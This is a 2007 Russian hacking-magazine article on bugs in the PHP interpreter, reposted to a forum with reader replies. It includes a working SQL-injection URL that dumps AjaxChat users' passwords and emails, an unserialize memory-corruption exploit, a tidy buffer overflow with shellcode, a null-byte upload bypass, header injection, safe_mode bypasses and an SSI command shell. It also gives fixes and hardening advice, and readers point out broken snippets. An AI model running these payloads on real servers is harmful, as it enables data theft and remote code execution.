----[ PHP BUGS ... under0x77ater ] "Когда я это писал меня постояно будили - мать твою , я же творю ..." Постепенно уязвимости в различных системах контроля контентом , форумных и прочих веб скриптах отходят и найти стандартную уязвимость типа SQL-injection,PHP-include,XSS-attack довольно сложно . В таком случае на первых план выходит поиск багов в платформе , под которой работают скрипты , то есть сам интерпретатор . За несколько лет было найдено около пятидесяти ошибок как в стандартных функциях обработки , так и в дополнительных расширениях php. Я покажу лишь пару самых основных уязвимостей , чтобы понять общий принцип эксплуатации. Публикация из журнала "Хакер" за октябрь 2007
----[ REGISTER_GLOBALS ... ] Одной из самых опасных уязвимостей в веб приложениях по-прежнему остается перезапись глобальных переменных , которая может привести к разным последствиям - начиная от раскрытия пути и заканчивая удаленным выполнением кода. Однако еще с четвертой ветки php появилась возможность отключить регистрацию глобальных переменных путем извлечения данных из GET,POST,COOKIE массивов. Рассмотрим классический пример global overwrite , создав простой php скрипт с всего лишь одной строчкой кода. PHP: php -> echo $GLOBALS['example']; Для присвоения данных переменной достаточно обратиться к скрипту с параметром example=itdefence , в результате увидем высвеченное значение itdefence. Некорректно обрабатывать обнуление переменных только из GET/POST массивов , передав дополнительный заголовок браузера мы получим тотже самый результат. PHP: cookie -> example=itdefence ----[ _FILES GLOBAL MODE ... ] Недавно люди из hardened-php опубликовали описание нового способа перезаписать значение переменной , используя загрузку файла. Это происходит потому что _FILES является частью массива _POST . Для начала напишем скрипт отправки и приема загруженных файлов. PHP: <form method="post" action="example.php" encode="multipart/form-data"> <input type="file" name="example" /> <input type="submit" name="submit" /> </form> <?php if(isset($_FILES["example"])) { copy($_FILES["filename"]["tmp_name"],'/'); } echo $GLOBALS['example']; ?> Пробуем залить файл с именем itdefence.txt и видим в качестве результата не только залитый файл , но и присовоенное значение переменной example значение itdefence. ----[ GLOBALS OVERWRITE ... ] Поскольку большинство систем работает только с включенным режимом register_globals , а многие веб хостинг с целью обеспечения безопасности своих клиентов отключают эту переменную , программисты придумали пару методов для помещений перемен в область глобального видения , которые в реализации гораздо легче чем изготовление патчей . Одной из таких функций является import_request_variables , в качестве параметра выступает строка , определяющая порядок помещения переменных в superglobal из массива _REQUEST. Небезопасное использование функции позволяет перезаписать произвольные переменные пришедшие с клиентской стороны. Стоит использовать import_request_variables вместе со вторым параметром - префиксом будущих функций . Несмотря на то , что баг был обнаружен в 2005 году , ему небыло присвоено критическое значение . PHP: php -> import_request_variables("GPC"); Обратившись к скрипту с параметром _SERVER[REMOTE_ADDR]=itdefence , мы перезапишем ключ массива , содержащий в себе адрес посетителя, а так как многие системы управления контентом не фильтруют этот на первый взгляд безопасный параметр , рождается куча способ атаки - от снятия блокировки на сайте до выполнения произвольного sql кода. Вторая , не менее опасная и распространенная функция для эмуляции register_globals является extract . Чтобы избежать перезаписи уже существующих переменных рекоммендуется использовать флаг EXTR_SKIP , который при попытки поместить переменную в глобальное окружение проверит на существование и лишь в случае отсутствия в адресном пространстве такого ключа создаст. PHP: php -> extract($_REQUEST); ----[ UNSET WHACKING ... ] Обнаруженная в конце 2006 года и уже успев стать популярной , уязвимость в вызываемой функции unset , изначально именуемой Zend_Hash_Del_Key_Or_Index достойна отдельного внимания . Ровно шесть месяцев ушло у авторов php на устранение этой критический уязвимости.Для того чтобы лучше понять суть бага , надо понять основы хранения данных в php . Zend Engine HashTables является "контейнером" для информации , поступишвей со стороны клиента , такие как суперглобальные массивы COOKIE , POST , GET . HashTable хранит ключи-указатели на содержимое переменных , и как оказалось несет в себе критический баг - подставив цифровое значение переменной можно перезаписать буквенно-цифровое представление . Такие уязвимости могут быть проэксплуатированны только в случае включенного потенциально-опасного параметра register_globals в настройках php . Хэш-таблицы Zend Engine "знают" два типа индексов в PHP4: цифровые и буквенно-цифровые . Если индекс состоит только с цифр он автоматически обрабатывается как цифровой . В PHP5 это нетак , поскольку PHP5 "знает" о таблицах имён и о простых хэш-таблицах . В таблицах имён цифровые индексы все ещё обрабатываются автоматически . Брешь заключается в некорректном условии проверки - если мы пытаемся вызвать unset для цифро-буквенной переменной и в списке переменных есть цифровой хэш ключ с идентичным значением , то php удалит ключ но не саму переменную , то есть после вызова unset мы можем использовать значение в дальнейшем . Для нас является положительным тот факт что unset чаще всего используется в начале кода для того чтобы принудительно запретить использование опасных ключей . Указать ключ переменной можно не только при включенном superglobals моде , но и упомянув значение в массиве _FILES о чем я писал выше . Так был написан эксплоит для форумного скрипта vBulletin и популярного блог движка WordPress . Расмотрим реализацию на примере AjaxChat.Последнюю версию можно взять с ajchat.sourceforge.net . Авторы данного чата позволяют создавать виртуальные комнаты только состоящие из букв , что явно видно в этом участке кода PHP: if (isset($_GET["s"])) { $_GET["s"] = strtoupper($_GET["s"]); if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z') {} else unset($_GET['s']); } В дальнейшем если переменная "s" из массива _GET прошла фильтрацию , ищущий виртуальные комнаты, похожие по написаню с введеной в строке поиска строке и дальнейший вывод всех данных из масива на страницу. PHP: mysql -> SELECT `roomname`, `updated` FROM `rooms` WHERE `roomname` LIKE '%$s%' AND`updated` > 0 ORDER BY `roomname` ASC ; С первогов взгляда - код правильный , но стоит переопределить переменную "s" , идущую в GET запросе , чтобы выполнить произвольный sql запрос . Высчитаем hash_del_key для обоих версий php PHP: calc -> PHP5 hash: 5863704 , PHP4 hash: 5861526 Для того , чтобы хеш переменной засчитался , сначала надо присвоить саму переменную и только после делать подставление наших ключей. Наш запрос для извлечения юзеров принимает вид PHP: browser -> directory.php?s=' and 1=2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1 Прерывая одинарной ковычкой оригинальный запрос мы вставляем выборку полей с номером , именем , паролем и почтовым адресом юзера , обьединенных с помощью функции concat_ws , в результате чего получаем нужные данные. Не стоит отказываться от unset , одним из способ решения уязвимости является принудительно приравнивание переменной к NULL , либо двойной вызов этой функции ( по рекоммендации автора minibb ).Рекоммендуется скачать патч со страницы авторов , обнаруживших этот баг ( http://www.hardened-php.net/hardening_patch.14.html ) Такой же опыт можно провести , совместив аплоад файла и unset bug . Модифицируем код,где 1322199023 и 1154731405 хеш ключи переменной example сразу для двух версий php - четвертой и пятой PHP: <form method="post" action="example.php" encode="multipart/form-data"> <input type="file" name="example" /> <input type="submit" name="submit" /> <input type="file" name="1322199023" /> <input type="file" name="1154731405" /> </form> <?php if(isset($_FILES["example"])) { unset($_FILES["example"); } echo $GLOBALS['example']; ?> После загрузки файла itdefence.txt мы все равно увидим значение переменной example.
----[ UNDER WHAT? UNDER SERIALIZE !... ] PHP функция un/serialize используется для помещения данных в строку , представляющую из себя сериализованный массив . Часто его используют для упрощения структуры хранения Cookie данных юзера . В различных версиях интерпретатора существовало не менее пяти багов в этой функции - от банального переполнения буфера до получения нужной информации . На основе этой бреши для phpbb2 был написан эксплоит , представляющий из себя очень длинную строку , посылаемую разбитой в несколько частей в заголовке cookie , предварительно закодированной в url представлении . Большое колличество вложеных сериализированных массивов может запросто подвесить php интерпретатор . В последствие это переросло в integer overflow в вызове функции ecalloc . В таком случае памяти выделится куда больше чем было выделено под операцию обратную сериализации и приведет к исполнению кода после того как переменная будет удалена из Zend HashTable. PHP: php -> $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"'; unserialize($str); Эксплоит для linux , где адрес 0x08064058 является свободным для php , эксплоит выглядит так PHP: php -> $hashtable = str_repeat("A", 39); $hashtable[5*4+0]=chr(0x58); $hashtable[5*4+1]=chr(0x40); $hashtable[5*4+2]=chr(0x06); $hashtable[5*4+3]=chr(0x08); $hashtable[8*4+0]=chr(0x66); $hashtable[8*4+1]=chr(0x77); $hashtable[8*4+2]=chr(0x88); $hashtable[8*4+3]=chr(0x99); $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}'; for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; } $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'; unserialize($str); Полученный результат нужно использовать как аргумент при использовании unserialize. ----[ SPECIAL CHARS ... ] Использование специальных непечатаемых символов в качестве аргументов , передаваемых функции часто приводит к очень "радостным" результатам . Например прежде чем поместить ip адрес в базу данных его часто проверяют функцией ip2long , которая в случае если адрес является неправильно сформированным вернет -1. PHP: php -> ip2long ('123.231.222.111"'); -- -1 Однако немного помучав функцию мы можем увидеть что строка , содержащая в себе символы , чьи коды равны 0,9,10,11,12,13 либо 32 вернет неотрицательный результат. PHP: php -> for ($i=0; $i<=255; $i++) { echo $i.":".ip2long("1.1.1.1".chr($i)."'or'a'='a'/*")."\r\n"; } На примере minibb взлом будет выглядеть так PHP: header -> X-FORWARDED-FOR: 1.1.1.1[CHR(0)]'union select 1 Использование нашего sql запроса является хоть и неудобным - потребуются специальные програмы чтобы отправить заголовок , но в таком случае мы находимся в выигрыше - magic_quotes_gpc не распространяется на этот тип данных . К сожалению в minibb провести атаку не получится - на строку выделяется всего 16 символов плюс один символ наш . Функция из пакета tidy tidy_parse_string как и ее обратная - tidy_repair_string при локальном использовании позволяют переполнить буфер с последующим выполнением шеллкода . Этот набор функций часто используется в wiki - скриптах. PHP: php -> tidy_parse_string(1,str_repeat("A",2036)."\x8B\x51\x81\x7C".str_repeat("\x90",12).$shellcode,1); Очень серьезной является ошибка в функциях copy и move_uploaded_file - существуют символы , которые "обрубают" строку - аргумент до вхождения этого символа . Обычно это null byte , а в некоторых nix системах и слеши . PHP: php -> $filename = trim($fileinfo['name'], "\x00..\x1F"); Напишем скрипт , ничуть не отличающийся от множества , используемых для аплоада файла с проверкой расширения. PHP: <?php $filename = $_FILES['userfile']['name']; $allowed = array ('gif','png','jpg'); $tmpname = explode('.',$filename); $extension = $tmpname[count($tmpname)-1]; $allowed = in_array($extension,$allowed) ? true : false ; if ($allowed) { move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile); echo 'uploaded!'; } else { echo 'aaah noooo!'; } ?> <form enctype="multipart/form-data" action="test.php" method="post"> Отправить этот файл: <input name="userfile" type="file" /> <input type="submit" value="Send File" /> </form> На первый взгляд вполне логично , что файл с именем file.jpg.php не пройдет проверку , однако попробуем вставить null bute в имя файла и в конечном виде получится чтото вроде my_data.php%00.jpg . Удачная попытка и наш файл залить с именем my_data.php . Такой же баг присутствует и в функции copy(). Mod_secuirity , часто устанавливаемый вместе с апачем тоже подвержен уязвимостям . Внедря null byte в POST заголовок мы обманем фильтр и не оставим в логах никаких записей , тк ids посчитает %00 концом строки p PHP: hp -> curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script> Для облегчения труда был написан комплекс скриптов для тестирования функций на предмет переполнения буфера в передаваемых аргументах. Одна часть скрипта получает список всевозможных функций и запускает второй скрипт с аргументом , вызывающий функцию по имени аргумента и логирующий каждую ошибку. ----[ BASE DIR && SAFE MODE ... ] Защищенный режим в PHP - это попытка решить проблему безопасности на совместно используемых серверах. Несмотря на то, что концептуально неверно решать эту проблему на уровне PHP , но поскольку альтернативы уровня веб-сервера или операционной системы на сегодняшний день отсутствуют, многие пользователи, особенно провайдеры, используют именно защищенный режим. Для управлением safe_mode в файле настроек php имеется пара директив , определающих поведение безопасного режима. safe_mode - отключает \ включает защищенный режим safe_mode_gid - определяет доступ к скрипту по uid вызывающего его юзера safe_mode_include_dir - разрешает подключение файлов только из определенной директории safe_mode_exec_dir - разрешает выполнять команды оболочки только в определенной директории safe_mode_allowed_env_vars - разрешает модификацию переменных , имеющих в названии определенную приставку safe_mode_protected_env_vars - запрещает модификацию переменных при любом раскладе open_basedir - ограничивает спискок файлов и директорий на чтения , не влияет состояние режима safe_mode disable_functions - зарпещает выполнение функций из списка В случае открытия файла , права на который не совпадает с правами юзера выдастя ошибка PHP: error -> Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2 Тот же самый эффект мы наблюдаем и с base_dir PHP: error -> Warning: open_basedir restriction in effect. File is in wrong directory in /docroot/script.php on line 2 К сожалению , а может и к счастью safe mode уже научились обходить причем способом куча и редко встретишь сервер где не работает ни один . Например одним из последних способов обмануть base_dir является принудительное выставление session.save_path в директорию , доступную на чтение. PHP: php -> ini_set("session.save_path", "/sessions/user2/"); putenv("TMPDIR=/sessions/user2/"); ini_set("session.save_path", ""); @session_start(); Использование префикса compress.bzip2:// или zip:// не учитываеся в safe mode , что позволяет читать файлы вне разрешенных директорий. Логично , что действие safe mode распространяется только на php скрипты и мы можем использовать perl , python или SSI (Server Side Includes). Для того чтобы последний метод заработал , надо выставить в апаче некоторые параметры запуска для файла в .htaccess PHP: AddType text/html .shtml AddHandler server-parsed .shtml Options +Includes И для того чтобы удобнее было использовать напишем своеобразный шелл на javascript PHP: function execute() { var cmd = document.exec.cmd.value; document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>'); } Не стоит отказываться от использования safe mode , достаточно следить за обновлениями php и своевремено ставить нужные патчи . Другим действенным методом является внедрение сторонних разработок , таких как suPHP , разграничивающих использование скриптов в зависимости от выставленных прав либо поставить phpsafemode.patch , принцип работы которого не особо отличается от предыдущего варинта.
----[ SUHOSIN... ] Кто как не автор многочисленных багов в php , описанных в этой статье , может понимать что нужно для того чтобы ваш сервер был защищен от уязвимостей не в ваших скриптах . Так и был написан проект "suhosin" , работающий как плагин и защищающий от всех известных и пожалуй множества неизвестных атак и уязвимостей. features -> защита от переполнений буфера защита от нарушения zend hash table защита от format string симулирует работу скриптов добавляет поддержку sha256 в ядро php добавляет ключ BLOWFISH к функции crypt выключает поддержку phpinfo защищает от sql нападений шифрация cookie на лету запрещает подключение загруженных файлов запрещает инклуд удаленных и локальных файлов отключает модификатор /e у preg_replace возможность отключить eval() фильтрует разделенные http запросы не позволяет перезапись переменных фильтрация входящих данных для mail() А также еще кучу настраиваемых мелочей для вашей безопасности . Имеет кучу способов отражения атаки и действий при обнаружении - от выдачи предупреждения до уникального блокирования . Ведет логирование всех небезопасных функций Одобрено автором статьи , но рекоммендуется использовать только в случае если есть необходимость в небезопасных функциях . Лучще сразу писать безопасно. ----[ EOF ... ] Как видно , существует множество функций и плагинов с уязвимостями , которым авторы веб скриптов не придают значение либо просто не догадываются о возможности эксплуатации брешей в их скриптах , да и разработчики php не с особой охотой выпускают патчи для своего продукта. Наше дело облегчает google code search , позволяющий искать вызываемые функций по базе , содержащей в себе множественные пакеты разработки. При написании статьи были использованы материалы 0x00 rgod`s php advisories 0x01 hardened-php project`s advisories 0x02 перевод NeMiNeM`ом статьей с hardened-php.net 0x03 авторские советы и обмен опытом с Elekt`ом 0x04 month of php bugs blog 0x05 p-range за метод c ssi Рекоммендуется к прочтению и ссылки из статьи http://www.hardened-php.net/suhosin/ [SUHOSIN] https://forum.antichat.ru/thread45424.html [php bof functions fuzer] http://www.php-security.org/ http://www.hardened-php.net/ (c) antichat.ru , itdefence.ru
2ShAnKaR приведенный пример у меня работает. Как я понял в этом то и смысл чтобы после присвоения значения example оно было доступно в глобальных массивах. Даже после PHP: if(isset($_FILES["example"])) { copy($_FILES["filename"]["tmp_name"],'/'); unset($GLOBALS["example"]); } echo $GLOBALS['example']; у меня выводиться значение example. В твоем же случае у меня показывало что это только массив. статья очень интересная, хотелось бы все таки знать почему гема сам не запостил ее. Хотя она была уже на ачате. +toxa+ посмотри ПМ
Наверно, никто, даже из знаменитого ][ ,не проверяли на работоспособность приведенных скриптов. PHP: <?php if(isset($_FILES["example"])) { unset($_FILES["example"); } echo $GLOBALS['example']; ?> пропущена ] в статье в журнале таже самая ошибка. Так же ИМХО следовало укаказывать версию интерпритатора в которой тестилось, потому что у меня при тесте в четвертой ветке (php 4.4.4) баг присутствует, а в пятой (php 5.1.6) уже выдает ошибку. В в заключении статьи, Евгений Минаев упоминает о проекте "suhosin", патчи с которого должны защитить скрипты от злонамеренного использования, но как они могут защитить если сами содержат баги. Для примера в интерпритаторе php найдено около 50 багов, а проект "suhosin" содержит около 30 обновлений, солюшинс и etc. К сожелению не нашел на форуме список список бажных интерпритаторов, который выкладывал гемаглабин. Если у кого есть выложите плз.
Насколько я знаю массив $_FILES это отдельный массив и не входит в массив $_POST. Хотя данные передаются методом POST.
Мож я не совсем тебя понял, но $_files передается со всеми остальными Post данными, т.е. для того чтобы перехватить (и изменить) $_files, надо изменять именно содержимое массива $_post
Ну да, чтобы повлиять на $_FILES надо изменять POST данные, но не массив. Я говорю про то, что если ты напишешь у себя: PHP: $_FILES['test'] = 1; echo $_POST['test']; то PHP выдаст Notice: Undefined index: test. Т. е. массивы $_POST и $_FILES в скрипте это совершенно разные массивы и никак не пересекаются. В статье неправильно говорится что это массивы, это просто тело сообщения, которое передается методом POST.
ну да я немного не правильно выразился, изменять не массив _POST, а именно post-данные... т.е. в массиве $GLOBALS массивы _POST и _FILES это разные массивы
сейчас внимательней посмотрел статью и понял, почему код: PHP: <form method="post" action="example.php" encode="multipart/form-data"> <input type="file" name="example" /> <input type="submit" name="submit" /> </form> <?php if(isset($_FILES["example"])) { copy($_FILES["filename"]["tmp_name"],'/'); } echo $GLOBALS['example']; ?> работает правильно, и почему у gibson`а он работает, даже со строчкой unset($GLOBALS["example"]); смысл в том, что isset($_FILES["example"]) всегда возвратит false из-за Code: encode="multipart/form-data" просто если делать форму с этой (непонятной) строчкой, то данные пойдут в массив _POST, причем не содержимое файла, а только его имя (в осле с полным путем до файла), а массив _FILES останется пустым, а поскольку какие то данные все же передаются, то при REGISTER_GLOBALS ON переменная example создастся и код выполнится, для того чтобы данные передавались в _FILE, надо чтоб была строчка Code: [U]enctype[/U]="multipart/form-data" но при таком раскладе в переменной example, будет временное имя файла (покрайней мере в php => 5) плюс в данном коде будет ошибка, потому что $_FILES["filename"] не будет существовать
думаю ты ошибаешь или я не правильно понимаю, для загрузки файлов используется метод пост т.к. гет имеет макс длину 512 байт и следовательно не подходит для загрузки файлов. И при загрузке файлов объвляют тип file <input type="file" name="example" /> 2Scipio +1 почти раскусили трюки
2gibson еще раз объясняю, файлы передаются методом пост, но данные заносятся в разные массивы, вот код уже пользуемого примера: PHP: <form method="post" action="example.php" encode="multipart/form-data"> <input type="file" name="example" /> <input type="submit" name="submit" /> </form> <?php if(isset($_FILES["example"])) { copy($_FILES["filename"]["tmp_name"],'/'); } echo $GLOBALS['example']; print_r ($GLOBALS); ?> этот код покажет тебе весь массив GLOBALS, посмотри его и обрати внимание на подмассивы _POST и _FILES, данные будут в массиве _POST, а массив _FILES останется пустым, атеперь посмотри на массив GLOBALS в этом примере: PHP: <form method="post" action="example.php" enctype="multipart/form-data"> <input type="file" name="example" /> <input type="submit" name="submit" /> </form> <?php if(isset($_FILES["example"])) { copy($_FILES["example"]["tmp_name"],'1111.txt'); } echo $GLOBALS['example']; print_r ($GLOBALS); ?> чуешь разницу, теперь _POST пустой
HP Bug Scanner Возможности: * возможность сканирования либо множества файлов либо одного скрипта * система пресетов: вы можете добавлять новые функции, изменять или удалять их * возможность загрузки и сохранения своих пресетов * 7 специальных пресетов, сгруппированных по категориям: code execution command execution directory traversal globals overwrite include sql injection miscellaneous * сохранение и загрузка результатов * сортировка результата по имени скрипта, номеру строки или функции, которая была найдена * быстрый обзор скрипта с подсветкой кода и пронумерованными строками * вычисление хэшей Zend_hash_del_key_or_index * String 2 chr() converter - представление строки в виде ASCII-символов в соответствии с синтаксисом PHP _http://jzweb.ru/2007/11/15/php_bug_scanner.html Роковые ошибки Php Оригинал Sep 6 2006 http://www.criticalsecurity.net/index.php?showtopic=16281
статья хороша в принуипе хотел спросить будет уязвим ли такой код PHP: if ($_POST['mode'] == 'add') $db->query('INSERT INTO '.$db->prefix.'bans (username, ip, email, message, expire) VALUES('.$ban_user.', '.$ban_ip.', '.$ban_email.', '.$ban_message.', '.$ban_expire.')') or error('Unable to add ban', __FILE__, __LINE__, $db->error()); else $db->query('UPDATE '.$db->prefix.'bans SET username='.$ban_user.', ip='.$ban_ip.', email='.$ban_email.', message='.$ban_message.', expire='.$ban_expire.' WHERE id='.intval($_POST['ban_id'])) or error('Unable to update ban', __FILE__, __LINE__, $db->error()); инетресно стало очень
ага,щас: PHP: <?php $killa = 5; echo $GLOBALS['killa']; ?> register_globals = On/off - побарабану. echo $GLOBALS['killa']; Согласен,работает,но это опять-таки при условии,что включен регистер глобалс.Или пофиксили это в пятой ветке пхп из последних,или...или или.По мне так просто переменная неопределена)
Блин,напишите,что актуально из вышеприведённого для пхп 5.2.6-5.2.9.Или я кривой,или не работает ничерта...проверил пока пару-тройку *фич*.
